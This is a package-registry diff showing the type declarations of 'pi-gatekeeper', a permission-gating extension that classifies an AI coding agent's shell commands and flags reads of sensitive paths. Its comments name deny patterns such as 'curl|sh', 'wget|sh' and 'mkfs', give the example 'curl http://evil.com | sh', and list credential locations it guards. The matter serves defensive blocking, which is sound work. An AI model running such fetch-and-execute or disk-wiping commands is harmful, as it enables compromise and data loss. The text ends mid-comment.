@wernerbisschoff/pi-gatekeeper 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +122 -0
- package/dist/default-rules.json +216 -0
- package/dist/gatekeeper.d.ts +621 -0
- package/dist/gatekeeper.d.ts.map +1 -0
- package/dist/gatekeeper.js +2715 -0
- package/dist/gatekeeper.js.map +1 -0
- package/package.json +42 -0
|
@@ -0,0 +1,621 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Pi/OMP extension entry point — Phase 3 of the Foundation shard.
|
|
3
|
+
*
|
|
4
|
+
* Implements the persistence lifecycle helpers (`getRulesPath`,
|
|
5
|
+
* `loadDefaultRules`, `bootstrapRules`, `loadRules`) called by the
|
|
6
|
+
* `session_start` wiring and the `/perm` slash command in later tasks.
|
|
7
|
+
* The full entry-point shell (slash command, CLI flag, status wiring,
|
|
8
|
+
* `cycleMode`/`setMode`/`showAllowlist`) arrives in TSK-001-08.
|
|
9
|
+
*
|
|
10
|
+
* Source of truth:
|
|
11
|
+
* - tasks.md TSK-001-03 (bootstrap / lifecycle loader)
|
|
12
|
+
* - data-model.md:177-228 (PermissionLevel / LevelRules / PermissionRules shapes)
|
|
13
|
+
* - constitution.md §1.1 (single-module extension boundary)
|
|
14
|
+
* - constitution.md §1.2 (flat-file persistence under ~/.pi/agent/)
|
|
15
|
+
* - constitution.md §1.4 (deny-by-default safety floor)
|
|
16
|
+
* - plan.md Phase 3 (rules path + atomic bootstrap implementation strategy)
|
|
17
|
+
*/
|
|
18
|
+
import type { ExtensionAPI, ExtensionContext } from "@earendil-works/pi-coding-agent";
|
|
19
|
+
/** ─── Persistence Schema (mirrors `data-model.md:177-208`) ─── */
|
|
20
|
+
export type PermissionLevel = "low" | "medium" | "high";
|
|
21
|
+
/**
|
|
22
|
+
* Runtime permission level — narrows to {@link PermissionLevel} for persisted/legal modes
|
|
23
|
+
* and adds `"off"` as the runtime-only escape hatch documented in spec.md FLOW-06. Used by
|
|
24
|
+
* internal call sites that consult `currentMode` before the OFF bypass (e.g.
|
|
25
|
+
* {@link runPermissionGate} step (1)) so the wider domain is named at the alias site rather
|
|
26
|
+
* than repeated as an inline `| "off"` union with a forced cast at each consumer.
|
|
27
|
+
*/
|
|
28
|
+
export type RuntimePermissionLevel = PermissionLevel | "off";
|
|
29
|
+
export interface LevelRules {
|
|
30
|
+
deny: string[];
|
|
31
|
+
allow: string[];
|
|
32
|
+
ask: string[];
|
|
33
|
+
}
|
|
34
|
+
export interface PermissionRules {
|
|
35
|
+
version: number;
|
|
36
|
+
currentMode: PermissionLevel | null;
|
|
37
|
+
rules: {
|
|
38
|
+
low: LevelRules;
|
|
39
|
+
medium: LevelRules;
|
|
40
|
+
high: LevelRules;
|
|
41
|
+
};
|
|
42
|
+
}
|
|
43
|
+
/**
|
|
44
|
+
* Outcome of classifying a single shell segment (or the union of segments in a compound command).
|
|
45
|
+
* Ephemeral — one per evaluation, never persisted. The `reason` field is the human-readable explanation
|
|
46
|
+
* the prompt system (ISS-005) renders verbatim for the per-segment preview and that downstream callers
|
|
47
|
+
* surface in status output (FLOW-07). Shape mirrors `data-model.md:85-96` (PermissionDecision table) and
|
|
48
|
+
* `data-model.md:218-221` (the `interface PermissionDecision` definition).
|
|
49
|
+
*/
|
|
50
|
+
export type PermissionDecision = {
|
|
51
|
+
decision: "allow" | "ask" | "deny";
|
|
52
|
+
reason: string;
|
|
53
|
+
};
|
|
54
|
+
/** ─── Sensitive Path Guard (compile-time, not user-configurable) ─── */
|
|
55
|
+
/**
|
|
56
|
+
* Compile-time regex pattern + human-readable label for a sensitive path category.
|
|
57
|
+
* Consumed by {@link isSensitivePath} to classify paths before the `read` / `edit` /
|
|
58
|
+
* `write` tool call is dispatched. SensitivePath is intentionally compile-time (not
|
|
59
|
+
* user-configurable) because it's a cross-cutting security guard that runs in every
|
|
60
|
+
* permission mode — see `data-model.md:113-125` and `architecture.md:138-147`.
|
|
61
|
+
*/
|
|
62
|
+
export interface SensitivePath {
|
|
63
|
+
readonly pattern: RegExp;
|
|
64
|
+
readonly label: SensitivePathLabel;
|
|
65
|
+
}
|
|
66
|
+
/**
|
|
67
|
+
* Stable label catalogue — single source of truth for the AC-007-XX reason strings.
|
|
68
|
+
* A future rename propagates from this constant to every catalog entry below and the
|
|
69
|
+
* corresponding `ctx.ui.notify` reason in `sensitivePathToolCallHandler` (Phase 2). The
|
|
70
|
+
* values are pinned by the `isSensitivePath — pattern catalog` describe in
|
|
71
|
+
* `test/sensitive-path.test.ts`.
|
|
72
|
+
*/
|
|
73
|
+
declare const LABELS: {
|
|
74
|
+
readonly ENV: "Environment file";
|
|
75
|
+
readonly SSH: "SSH directory";
|
|
76
|
+
readonly AWS: "AWS directory";
|
|
77
|
+
readonly GNUPG: "GnuPG directory";
|
|
78
|
+
readonly KUBE: "Kubernetes directory";
|
|
79
|
+
readonly CRYPTO: "Crypto material";
|
|
80
|
+
readonly CREDS: "Credentials file";
|
|
81
|
+
readonly NPM: "npm config";
|
|
82
|
+
readonly PYPI: "PyPI config";
|
|
83
|
+
readonly GIT_CREDS: "Git credentials";
|
|
84
|
+
readonly DOCKER: "Docker config";
|
|
85
|
+
readonly GH_HOSTS: "GitHub hosts config";
|
|
86
|
+
};
|
|
87
|
+
/**
|
|
88
|
+
* Union of all valid sensitive-path labels — derived from {@link LABELS} so adding
|
|
89
|
+
* a new entry to the catalogue automatically propagates here with no separate
|
|
90
|
+
* "valid labels" list to maintain. {@link SENSITIVE_PATHS} uses this in place of
|
|
91
|
+
* `string` so a typo in a catalog entry fails at compile time, and {@link isSensitivePath}
|
|
92
|
+
* returns `SensitivePathLabel | ""` so consumers get type-safe label access (no arbitrary
|
|
93
|
+
* `string`). Pinned by the `isSensitivePath — pattern catalog` describe's `expect(...).label`
|
|
94
|
+
* literal-string assertions.
|
|
95
|
+
*/
|
|
96
|
+
export type SensitivePathLabel = (typeof LABELS)[keyof typeof LABELS];
|
|
97
|
+
/**
|
|
98
|
+
* Compile-time catalog of sensitive path patterns. Iteration order matters:
|
|
99
|
+
* {@link isSensitivePath} uses an early-return `for...of` so the FIRST matching entry
|
|
100
|
+
* wins. The catalog is intentionally permissive — a `.ssh/` literal anywhere in the
|
|
101
|
+
* path matches so `~/.ssh/`, `/Users/<who>/.ssh/`, `/home/<who>/.ssh/`, and even
|
|
102
|
+
* `/srv/.ssh/` are all flagged (the latter is permissive by design — see
|
|
103
|
+
* `tasks.md TSK-006-01 "Edge Cases"`). Reorder the array only with a corresponding
|
|
104
|
+
* update to the `first-match-wins` test in `test/sensitive-path.test.ts`.
|
|
105
|
+
*/
|
|
106
|
+
export declare const SENSITIVE_PATHS: readonly SensitivePath[];
|
|
107
|
+
/**
|
|
108
|
+
* Skill-script short-circuit pattern — matches a `.sh` file directly under `/skills/`
|
|
109
|
+
* (single-segment form). `/skills/sub/dir.sh` (nested) does NOT match because
|
|
110
|
+
* `[^/]+` excludes `/`. Per US-021, the sensitive-path `tool_call` handler (Phase 2)
|
|
111
|
+
* short-circuits on this pattern BEFORE the {@link SENSITIVE_PATHS} scan so a skill
|
|
112
|
+
* script whose filename would otherwise match (e.g. `/skills/.env-helper.sh`) still
|
|
113
|
+
* passes through.
|
|
114
|
+
*/
|
|
115
|
+
export declare const SKILL_SCRIPT_PATTERN: RegExp;
|
|
116
|
+
/**
|
|
117
|
+
* Classify `path` against the {@link SENSITIVE_PATHS} catalog. Returns the FIRST
|
|
118
|
+
* matching entry's `label` (first-match-wins via the catalog's documented iteration
|
|
119
|
+
* order). Performance is O(1) per call: the regexes are compiled once at module
|
|
120
|
+
* load, so `.test(path)` is the only per-call cost (O(n) where n is `path.length`).
|
|
121
|
+
* Returns `{ match: false, label: "" }` when no pattern matches — the empty string
|
|
122
|
+
* is the sentinel "no-match" label and is excluded from the {@link SensitivePathLabel}
|
|
123
|
+
* union, so consumers can branch on `match` instead of inspecting the label.
|
|
124
|
+
*/
|
|
125
|
+
export declare function isSensitivePath(path: string): {
|
|
126
|
+
match: boolean;
|
|
127
|
+
label: SensitivePathLabel | "";
|
|
128
|
+
};
|
|
129
|
+
/**
|
|
130
|
+
* Public persistence write surface — the single boundary that owns atomic
|
|
131
|
+
* rename + best-effort error handling for `perm-rules.json`.
|
|
132
|
+
*
|
|
133
|
+
* Contract:
|
|
134
|
+
* - Creates the parent directory recursively with `mode: 0o700` so the
|
|
135
|
+
* Sensitive Path Guard's directory-permission policy (matches
|
|
136
|
+
* {@link getRulesPath}) is honoured on first write into a fresh
|
|
137
|
+
* `~/.pi/agent/` tree. `mkdirSync({ recursive: true })` is a no-op when
|
|
138
|
+
* the directory already exists, so re-writes never loosen or tighten an
|
|
139
|
+
* existing directory's permissions.
|
|
140
|
+
* - Writes the payload to `<filePath>.tmp` then `renameSync`s it into
|
|
141
|
+
* place — the atomic-rename pattern prevents partial writes from
|
|
142
|
+
* corrupting an otherwise-valid rules file (RSK-009 mitigation).
|
|
143
|
+
* - Best-effort error handling: any failure (EACCES, EROFS, ENOSPC,
|
|
144
|
+
* ENOENT for an unwritable parent, etc.) is caught. When `ctx` is
|
|
145
|
+
* provided, the failure surfaces through `ctx.ui.notify` at `"warning"`
|
|
146
|
+
* level. When `ctx` is undefined the failure is silently swallowed —
|
|
147
|
+
* the caller's in-memory mutation already landed and the next session
|
|
148
|
+
* resumes from the last successfully persisted state.
|
|
149
|
+
*
|
|
150
|
+
* Flow references: FLOW-05 (level cycles and persists), FLOW-08 (Allow
|
|
151
|
+
* Always writes the persistent per-level JSON).
|
|
152
|
+
*/
|
|
153
|
+
export declare function saveRules(filePath: string, payload: PermissionRules, ctx?: ExtensionContext): void;
|
|
154
|
+
/** ─── Persistence lifecycle helpers (under test) ─── */
|
|
155
|
+
/**
|
|
156
|
+
* Resolve the absolute path of the persisted rules file.
|
|
157
|
+
*
|
|
158
|
+
* Creates `~/.pi/agent/` with `mode: 0o700` ONLY when the directory does not
|
|
159
|
+
* already exist — `mkdirSync({ recursive: true })` skips creation (and
|
|
160
|
+
* permission tightening) for an existing directory. This means a directory
|
|
161
|
+
* previously created by another tool or installer with broader permissions
|
|
162
|
+
* is left untouched and cannot be retroactively narrowed from this helper.
|
|
163
|
+
*
|
|
164
|
+
* The 0o700 target honors the process umask (so the effective mode may be
|
|
165
|
+
* narrower than 0o700 on systems with a tighter umask, but never broader).
|
|
166
|
+
* The intent is to match the Sensitive Path Guard's directory-permission
|
|
167
|
+
* policy from ISS-006 so the directory is never world-readable when this
|
|
168
|
+
* extension creates it from a clean slate.
|
|
169
|
+
*/
|
|
170
|
+
export declare function getRulesPath(): string;
|
|
171
|
+
/**
|
|
172
|
+
* Load the bundled `src/default-rules.json` payload. Read-only asset shipped
|
|
173
|
+
* inside the npm tarball. Throws if the asset is missing — fail loud per
|
|
174
|
+
* Constitution §1.4 rather than silently substituting a build-time string.
|
|
175
|
+
*/
|
|
176
|
+
export declare function loadDefaultRules(): PermissionRules;
|
|
177
|
+
/**
|
|
178
|
+
* Public bootstrap helper — the pre-TSK-004-02 single-path entry point that always boots at `getRulesPath()`.
|
|
179
|
+
* Retained as a thin wrapper over {@link bootstrapRulesAt} so foundation tests (which do not exercise the
|
|
180
|
+
* extended `filePath` parameter) keep their call surface, and so future ISS-001 callers can request a
|
|
181
|
+
* bootstrap against the canonical home without re-deriving the path.
|
|
182
|
+
*/
|
|
183
|
+
export declare function bootstrapRules(): PermissionRules;
|
|
184
|
+
/**
|
|
185
|
+
* Load rules from disk; surface malformed state via `ctx.ui.notify` and fall back to the bundled
|
|
186
|
+
* defaults OR the per-ctx last-valid cache (whichever is available), leaving the on-disk file
|
|
187
|
+
* untouched so the developer can inspect or hand-correct it.
|
|
188
|
+
*
|
|
189
|
+
* Contract (extended by TSK-004-02 — FR-011 / AC-011-02):
|
|
190
|
+
* - `filePath` is OPTIONAL: when omitted, the loader reads from `getRulesPath()` (preserves pre-TSK-004-02
|
|
191
|
+
* callers like `sessionStartHandler`). When provided, the loader reads from `filePath` and skips
|
|
192
|
+
* `getRulesPath()` entirely — persistence tests use this seam to drive the loader against an
|
|
193
|
+
* isolated `os.tmpdir()`-backed path without coupling to `os.homedir()`.
|
|
194
|
+
* - ENOENT (file missing at `targetPath`) → `bootstrapRulesAt(targetPath)` — atomically create the file
|
|
195
|
+
* with bundled defaults at the SAME path the caller asked for, populate the per-ctx cache with the
|
|
196
|
+
* bootstrapped payload, and return it. The bootstrap is silent (no notify).
|
|
197
|
+
* - `JSON.parse` throws (truncated payload, stray characters, etc.) → `handleMalformedFallback(ctx)` —
|
|
198
|
+
* notify at `"warning"` level, return the per-ctx cached payload if hot, otherwise bundled defaults.
|
|
199
|
+
* - Valid JSON but invalid shape (`null`, primitives, arrays, missing fields) → same fallback as the
|
|
200
|
+
* `JSON.parse` throw branch. Both branches share the same single-line `return handleMalformedFallback(ctx)`
|
|
201
|
+
* idiom so the read/parse/shape pipeline reads as a uniform success-or-fallback ladder.
|
|
202
|
+
* - Valid payload → populate BOTH `rules` and the per-ctx `lastValidRulesByCtx` cache, return parsed.
|
|
203
|
+
*
|
|
204
|
+
* On the malformed-file path the on-disk bytes are NEVER overwritten so the developer can inspect or
|
|
205
|
+
* hand-correct the file. The two-branch fallback (FR-011 / AC-011-02) preserves FLOW-10 cascade
|
|
206
|
+
* integrity: a developer's curated per-level deny/allow/ask appends survive a transient malformed edit.
|
|
207
|
+
*/
|
|
208
|
+
export declare function loadRules(ctx: ExtensionContext, filePath?: string): PermissionRules;
|
|
209
|
+
/**
|
|
210
|
+
* Read the active permission level. Stable surface for downstream shards (ISS-003 classifier,
|
|
211
|
+
* ISS-005 prompt system) that need to consult the level without going through `updateStatus`.
|
|
212
|
+
*/
|
|
213
|
+
export declare function getCurrentMode(): PermissionLevel;
|
|
214
|
+
/**
|
|
215
|
+
* Write the active permission level. Used by the foundation tests to drive `updateStatus`
|
|
216
|
+
* with different levels without going through the full `loadRules` bootstrap path. In
|
|
217
|
+
* production, `cycleMode` / `setMode` / `applyFlagOverride` (TSK-001-06, TSK-001-05) mutate
|
|
218
|
+
* the binding directly from inside the module.
|
|
219
|
+
*
|
|
220
|
+
* Also clears the ephemeral and session allow sets so test isolation (each `it(...)` starts with
|
|
221
|
+
* a fresh module-level state) matches the production lifecycle: a mode change is a fresh permission
|
|
222
|
+
* context, so any "Allow Once" or "Allow This Session" unlocks from the prior level are dropped.
|
|
223
|
+
* The single-source-of-truth clear path is `sessionStartHandler` for production; `setCurrentMode`
|
|
224
|
+
* mirrors it for the test-only mode-switch surface so Vitest's per-file isolation is honoured
|
|
225
|
+
* within a single file.
|
|
226
|
+
*/
|
|
227
|
+
export declare function setCurrentMode(value: PermissionLevel): void;
|
|
228
|
+
/**
|
|
229
|
+
* Reserved TUI footer status key for the permission level indicator. Ownership is contractually
|
|
230
|
+
* pinned by `architecture.md:157` — no other extension may write to this key, otherwise the level
|
|
231
|
+
* indicator on the TUI footer could be shadowed by a colliding third-party status widget.
|
|
232
|
+
*/
|
|
233
|
+
export declare const PERMISSION_STATUS_KEY = "perm";
|
|
234
|
+
/**
|
|
235
|
+
* TUI footer labels keyed by PermissionLevel. Specific emoji + label pairs are
|
|
236
|
+
* documented in AC-010-01 / AC-010-02
|
|
237
|
+
* (`specs/001-pi-gatekeeper/issues/001-foundation-packaging.md:33`):
|
|
238
|
+
* - `low` → `🟢 LOW` (green circle = restricted/safe)
|
|
239
|
+
* - `medium` → `🟡 MEDIUM` (yellow circle = balanced)
|
|
240
|
+
* - `high` → `🟠 HIGH` (orange circle = permissive/warning)
|
|
241
|
+
* The status key (`PERMISSION_STATUS_KEY`) is reserved by `architecture.md:157` — no other extension
|
|
242
|
+
* may write to it (otherwise the level indicator could be shadowed on the TUI footer).
|
|
243
|
+
*/
|
|
244
|
+
export declare const MODE_LABELS: Record<PermissionLevel, string>;
|
|
245
|
+
/**
|
|
246
|
+
* Render the active permission level into the TUI footer via `ctx.ui.setStatus(...)` using the
|
|
247
|
+
* reserved `PERMISSION_STATUS_KEY`. The custom footer extension (`footer.ts`) reads the
|
|
248
|
+
* `~/.pi/agent/perm-mode` file directly and overlays the circle indicator (🟢/🟡/🟠) in the
|
|
249
|
+
* bottom powerline bar — so the `setStatus` call here serves as the fallback for built-in
|
|
250
|
+
* footer mode and as a data source for any extension that reads status keys directly.
|
|
251
|
+
*
|
|
252
|
+
* Synchronous — FLOW-05's `level_change_latency_ms` metric (<=100 ms) is satisfied because
|
|
253
|
+
* the call is a single in-process mutation. The full session_start wiring that invokes this
|
|
254
|
+
* helper (`loadRules -> set currentMode -> updateStatus`) lands in TSK-001-08; here we only
|
|
255
|
+
* define the primitive so it is independently testable.
|
|
256
|
+
*/
|
|
257
|
+
export declare function updateStatus(ctx: ExtensionContext): void;
|
|
258
|
+
/** ─── CLI Flag Override (TSK-001-05) ─── */
|
|
259
|
+
/**
|
|
260
|
+
* Canonical name of the `--perm-mode` CLI flag. Exported so TSK-001-08's `pi.registerFlag(...)`
|
|
261
|
+
* call uses the same identifier that `applyFlagOverride` reads via `pi.getFlag(...)` — prevents
|
|
262
|
+
* drift if the flag is ever renamed. Mirrors the `PERMISSION_STATUS_KEY` pattern from TSK-001-04.
|
|
263
|
+
*/
|
|
264
|
+
export declare const PERM_MODE_FLAG_NAME = "perm-mode";
|
|
265
|
+
/**
|
|
266
|
+
* Reconcile `currentMode` from the most authoritative available source, in priority order:
|
|
267
|
+
* 1. CLI flag (`pi.getFlag(PERM_MODE_FLAG_NAME)`) — only strict-equal values in
|
|
268
|
+
* {@link VALID_MODES} are accepted; anything else falls through to step 2.
|
|
269
|
+
* 2. Persisted `perm-rules.json` — read once via {@link readCurrentModeFromDisk}, never written.
|
|
270
|
+
* 3. In-memory `currentMode` — preserved when both above are unavailable.
|
|
271
|
+
*
|
|
272
|
+
* The persisted file is intentionally NOT rewritten (AC-001-03: "overrides persisted mode without
|
|
273
|
+
* modifying the file") so the override is per-session — the next session resumes at whatever the
|
|
274
|
+
* persisted mode was before this launch.
|
|
275
|
+
*
|
|
276
|
+
* The `pi.registerFlag(PERM_MODE_FLAG_NAME, ...)` registration call itself is deferred to
|
|
277
|
+
* TSK-001-08 (entry-point wiring) — this helper only CONSUMES the flag value, never registers it.
|
|
278
|
+
*/
|
|
279
|
+
export declare function applyFlagOverride(pi: ExtensionAPI): void;
|
|
280
|
+
/** ─── Mode Transition (TSK-001-06) ─── */
|
|
281
|
+
/**
|
|
282
|
+
* Advance the active permission level to the next entry in the cycle `low → medium → high → low`,
|
|
283
|
+
* persist the new `currentMode` to `~/.pi/agent/perm-rules.json`, and re-render the status indicator.
|
|
284
|
+
* Surface contract:
|
|
285
|
+
* - Mutates module-level `currentMode` per the cycle order.
|
|
286
|
+
* - Persists `currentMode` to the on-disk file so the next session resumes at the new level
|
|
287
|
+
* (AC-001-02 contract).
|
|
288
|
+
* - Calls `ctx.ui.setStatus("perm", MODE_LABELS[currentMode])` synchronously so FLOW-05's
|
|
289
|
+
* `level_change_latency_ms` ≤ 100 ms metric holds (no deferred `setTimeout`).
|
|
290
|
+
* - If `perm-rules.json` has not yet been bootstrapped (caller invoked the helper before
|
|
291
|
+
* `session_start` completed), persistence is silently skipped — the in-memory mutation and
|
|
292
|
+
* TUI update still fire so the cycle is always observable.
|
|
293
|
+
*
|
|
294
|
+
* Flow references: FLOW-05 Happy-Path Steps 2 + 3 (level cycles and status indicator updates).
|
|
295
|
+
*/
|
|
296
|
+
export declare function cycleMode(ctx: ExtensionContext): void;
|
|
297
|
+
export declare function setMode(value: string, ctx: ExtensionContext): void;
|
|
298
|
+
/**
|
|
299
|
+
* Render the current permission ruleset for the developer to inspect / copy into their editor.
|
|
300
|
+
* Backs the `/perm allowlist` (and `/perm list`) subcommand per FR-013.
|
|
301
|
+
*
|
|
302
|
+
* Two output paths:
|
|
303
|
+
* - **File missing** (first run, manual cleanup, etc.) → notify with the expected path AND the
|
|
304
|
+
* "default rules in effect" annotation. AC-013-03 contract: even when the file does not exist
|
|
305
|
+
* the developer can still copy the expected path into their editor. The cache (`rules`) is
|
|
306
|
+
* allowed to be null in this branch — the file-not-found check is the source of truth so the
|
|
307
|
+
* handler is robust against pre-`session_start` invocation.
|
|
308
|
+
* - **File present** → render the multi-line breakdown: resolved `Path:`, active `Mode:`, and
|
|
309
|
+
* the per-level `Deny:`, `Allow:`, `Ask:` arrays JSON-serialised so the developer can paste
|
|
310
|
+
* them straight into the file. The `Allow:` / `Ask:` labels are surfaced even when the
|
|
311
|
+
* arrays are empty (`[]`) so the structural tuple is unambiguous (AC-013-02).
|
|
312
|
+
*
|
|
313
|
+
* `notify` is always called at the `"info"` level — the discovery output is informational, never
|
|
314
|
+
* alarming. The level is pinned by the AC-013 tests.
|
|
315
|
+
*
|
|
316
|
+
* Flow references: FLOW-09 Step 1 (developer resolves the permission file path). The
|
|
317
|
+
* edit-and-reload half of FLOW-09 (Steps 2-3) is deferred to ISS-004.
|
|
318
|
+
*/
|
|
319
|
+
export declare function showAllowlist(ctx: ExtensionContext): void;
|
|
320
|
+
/**
|
|
321
|
+
* Handler for the `/perm` slash command — the user-visible surface for FLOW-05 (mode switching)
|
|
322
|
+
* and FLOW-09 (manual rules discovery). The branching is strict and exhaustive:
|
|
323
|
+
*
|
|
324
|
+
* 1. Trim + lowercase the args (case-insensitive matching — accidental Shift-key capitalization
|
|
325
|
+
* on a developer-typed surface must not fail).
|
|
326
|
+
* 2. Iterate {@link PERM_DISPATCH} in declaration order; the first entry whose literal set
|
|
327
|
+
* contains the normalised args fires its action and returns.
|
|
328
|
+
* 3. If no entry matches → `ctx.ui.notify` at `"warning"` level (deny-by-default UX per
|
|
329
|
+
* Constitution §1.4 — silent no-ops would mask typos like `/prem` or `/permission`).
|
|
330
|
+
*
|
|
331
|
+
* Subcommand literals are co-located in {@link PERM_SUBCOMMANDS} for greppability and to make a
|
|
332
|
+
* future rename / new level a single-edit change.
|
|
333
|
+
*
|
|
334
|
+
* **Ownership invariant**: this function does NOT call any `pi.register*` method. Registration of
|
|
335
|
+
* `/perm` is owned by TSK-001-08's entry-point wiring — moving the call here would cause TSK-001-08
|
|
336
|
+
* to double-register and Pi/OMP to throw on the duplicate. The companion test
|
|
337
|
+
* `flow anchor: permCommandHandler does NOT register any ExtensionAPI surface` pins this.
|
|
338
|
+
*/
|
|
339
|
+
export declare function permCommandHandler(args: string, ctx: ExtensionContext): Promise<void>;
|
|
340
|
+
/** ─── Shell Segment Parser (TSK-002-01 + TSK-002-02) ─── */
|
|
341
|
+
/**
|
|
342
|
+
* A single command surface as classified by the gatekeeper. Phase 1 models a segment as a plain string;
|
|
343
|
+
* subsequent TDD tasks (TSK-002-03..06) may extend this with structural metadata (extracted substitution
|
|
344
|
+
* content, quoted-region markers) without changing the public return type's surface compatibility.
|
|
345
|
+
*/
|
|
346
|
+
export type ShellSegment = string;
|
|
347
|
+
/** ─── Command Classifier and Cascade Resolver (ISS-003) ─── */
|
|
348
|
+
/**
|
|
349
|
+
* The cascade walker introduced in TSK-003-02 reuses the module-level `VALID_MODES` tuple at
|
|
350
|
+
* `src/gatekeeper.ts:81` as its level-order traversal array (low → medium → high for DOWN walks,
|
|
351
|
+
* high → medium → low for UP walks). The tuple is the single source of truth for the level set —
|
|
352
|
+
* the cascade walker MUST reference it instead of redeclaring `["low", "medium", "high"]` so a
|
|
353
|
+
* future level rename propagates from one edit to every walker site.
|
|
354
|
+
*/
|
|
355
|
+
/**
|
|
356
|
+
* Convert a glob pattern (literal text with `*` wildcards) into an anchored RegExp.
|
|
357
|
+
*
|
|
358
|
+
* Algorithm:
|
|
359
|
+
* 1. Escape every regex metacharacter in `pattern` (excluding `*`), so a pattern like
|
|
360
|
+
* `curl|sh` becomes `curl\|sh` rather than being interpreted as alternation.
|
|
361
|
+
* 2. Substitute the now-escaped `\*` (which originated from a literal `*` in the input)
|
|
362
|
+
* with `.*`, so a single `*` matches any run of characters.
|
|
363
|
+
* 3. Anchor the resulting source with `^...$` so the match is a full-string match,
|
|
364
|
+
* never a substring match.
|
|
365
|
+
*
|
|
366
|
+
* Source anchor: `data-model.md:44-52` (literal / prefix / suffix / middle / catch-all),
|
|
367
|
+
* `design.md` §"Pattern matching" decision (literal `|`, `&`, `;`, `$` are matched literally,
|
|
368
|
+
* not as shell operators).
|
|
369
|
+
*
|
|
370
|
+
* Exported so tests can assert the regex shape directly (e.g. that the result is anchored,
|
|
371
|
+
* that wildcards produce `.*`, and that regex metachars in the literal portion are escaped).
|
|
372
|
+
*/
|
|
373
|
+
export declare function globToRegex(pattern: string): RegExp;
|
|
374
|
+
/** Full-string anchored glob match (never substring); case-sensitive. Wraps {@link globToRegex}. */
|
|
375
|
+
export declare function matchGlob(pattern: string, input: string): boolean;
|
|
376
|
+
/**
|
|
377
|
+
* Public thin wrapper over {@link findFirstMatch}. Preserves the historic return shape
|
|
378
|
+
* (`{ matched: true, pattern }` on hit; `{ matched: false }` on miss with no `pattern`
|
|
379
|
+
* field) used by external callers and regression tests in `test/classifier.test.ts`.
|
|
380
|
+
* The walker logic itself lives in `findFirstMatch` so cascade walkers,
|
|
381
|
+
* explicit-pass evaluation, and the public API all share one iteration primitive.
|
|
382
|
+
*
|
|
383
|
+
* Implements `data-model.md:61` first-match-wins semantics — an earlier literal pattern in
|
|
384
|
+
* the list wins over a later wildcard even when both would match.
|
|
385
|
+
*
|
|
386
|
+
* Source anchor: `tasks.md` TSK-003-01 (matchSegmentAgainstList contract).
|
|
387
|
+
*/
|
|
388
|
+
export declare function matchSegmentAgainstList(segment: string, patterns: readonly string[]): {
|
|
389
|
+
matched: boolean;
|
|
390
|
+
pattern?: string;
|
|
391
|
+
};
|
|
392
|
+
/**
|
|
393
|
+
* Cascade resolver for a single shell segment. Implements `data-model.md:347-352`
|
|
394
|
+
* (allow cascades DOWN through lower levels, deny cascades UP through higher levels,
|
|
395
|
+
* explicit per-level rules override cascade-inherited decisions, default `ask`).
|
|
396
|
+
*
|
|
397
|
+
* Algorithm (four stops, fixed order, each delegated to a named helper):
|
|
398
|
+
* 1. {@link evaluateExplicit} — deny → allow → ask at `mode`, first-match-wins.
|
|
399
|
+
* 2. {@link walkCascadeDownForAllow} — visit lower-indexed levels' allow lists (allow cascades DOWN).
|
|
400
|
+
* 3. {@link walkCascadeUpForDeny} — visit higher-indexed levels' deny lists (deny cascades UP).
|
|
401
|
+
* 4. Default ask when every cascade stop exhausts without a match.
|
|
402
|
+
*
|
|
403
|
+
* Level-order tuple reused from the module-level `VALID_MODES` (`src/gatekeeper.ts:81`),
|
|
404
|
+
* the single source of truth for the level set; the walker references the tuple instead of
|
|
405
|
+
* redeclaring `["low", "medium", "high"]` so a future mode rename propagates from one edit.
|
|
406
|
+
*
|
|
407
|
+
* Source anchor: `tasks.md` TSK-003-02 (classifySegment contract),
|
|
408
|
+
* `data-model.md:347-352` (cascade algorithm), `data-model.md:60-64` (cascade semantics),
|
|
409
|
+
* `constitution.md §1.5` (cascade direction).
|
|
410
|
+
*
|
|
411
|
+
* @requires mode !== "off" — the Off-mode bypass lives above this resolver in the bash tool
|
|
412
|
+
* handler (ISS-005); `classifySegment` is not invoked with `mode === "off"` and the
|
|
413
|
+
* `PermissionLevel` type excludes `"off"` from its union.
|
|
414
|
+
*/
|
|
415
|
+
export declare function classifySegment(segment: string, mode: PermissionLevel, rules: PermissionRules): PermissionDecision;
|
|
416
|
+
/**
|
|
417
|
+
* Loose matcher used exclusively by {@link classifyCommand}'s ALWAYS_DENY pre-check. Differs from
|
|
418
|
+
* {@link matchGlob} in two important ways so cross-segment attack patterns like `curl|sh` are
|
|
419
|
+
* caught before per-segment evaluation:
|
|
420
|
+
*
|
|
421
|
+
* 1. **Substring semantics** — the pattern matches anywhere in the input rather than requiring
|
|
422
|
+
* a full-string anchored match. This is what allows `mkfs` (a literal pattern with no
|
|
423
|
+
* wildcards) to match `mkfs /dev/sda1` (the input has trailing arguments after `mkfs`).
|
|
424
|
+
* Without substring semantics, a literal `mkfs` pattern would only match the exact string
|
|
425
|
+
* `mkfs`, missing every realistic invocation. The per-segment matcher in
|
|
426
|
+
* {@link classifySegment} retains anchored semantics for cascade-correctness — this looser
|
|
427
|
+
* matcher is reserved for the cross-segment safety floor.
|
|
428
|
+
* 2. **`|` is treated as a wildcard** — the `|` character in a pattern is interpreted as
|
|
429
|
+
* `.*` (matching any run of characters) rather than as a literal pipe. This is what allows
|
|
430
|
+
* the pattern `curl|sh` to match the input `curl http://evil.com | sh`: the `|` in the
|
|
431
|
+
* pattern consumes ` http://evil.com ` and the literals `curl` and `sh` bookend the
|
|
432
|
+
* cross-segment pipe. `data-model.md:53` says literal `|` is matched as a literal character
|
|
433
|
+
* for per-segment rules; this is the per-segment contract. The ALWAYS_DENY pre-check
|
|
434
|
+
* deliberately uses the looser interpretation because the cross-segment attack patterns
|
|
435
|
+
* (`curl|sh`, `wget|sh`) are written with `|` as a semantic "piped-to" marker, not as a
|
|
436
|
+
* literal pipe character the user expects to match verbatim.
|
|
437
|
+
*
|
|
438
|
+
* Algorithm (mirrors {@link globToRegex} but with the two differences above):
|
|
439
|
+
* 1. Escape every regex metacharacter in `pattern` EXCEPT `*` and `|`.
|
|
440
|
+
* 2. Substitute `*` with `.*` and `|` with `.*`.
|
|
441
|
+
* 3. Wrap with `.*` on both sides and anchor with `^...$` — producing a substring match.
|
|
442
|
+
*
|
|
443
|
+
* Exported for testability so the loose semantics can be locked by future tests if needed.
|
|
444
|
+
*/
|
|
445
|
+
export declare function matchAlwaysDenyPattern(pattern: string, input: string): boolean;
|
|
446
|
+
/**
|
|
447
|
+
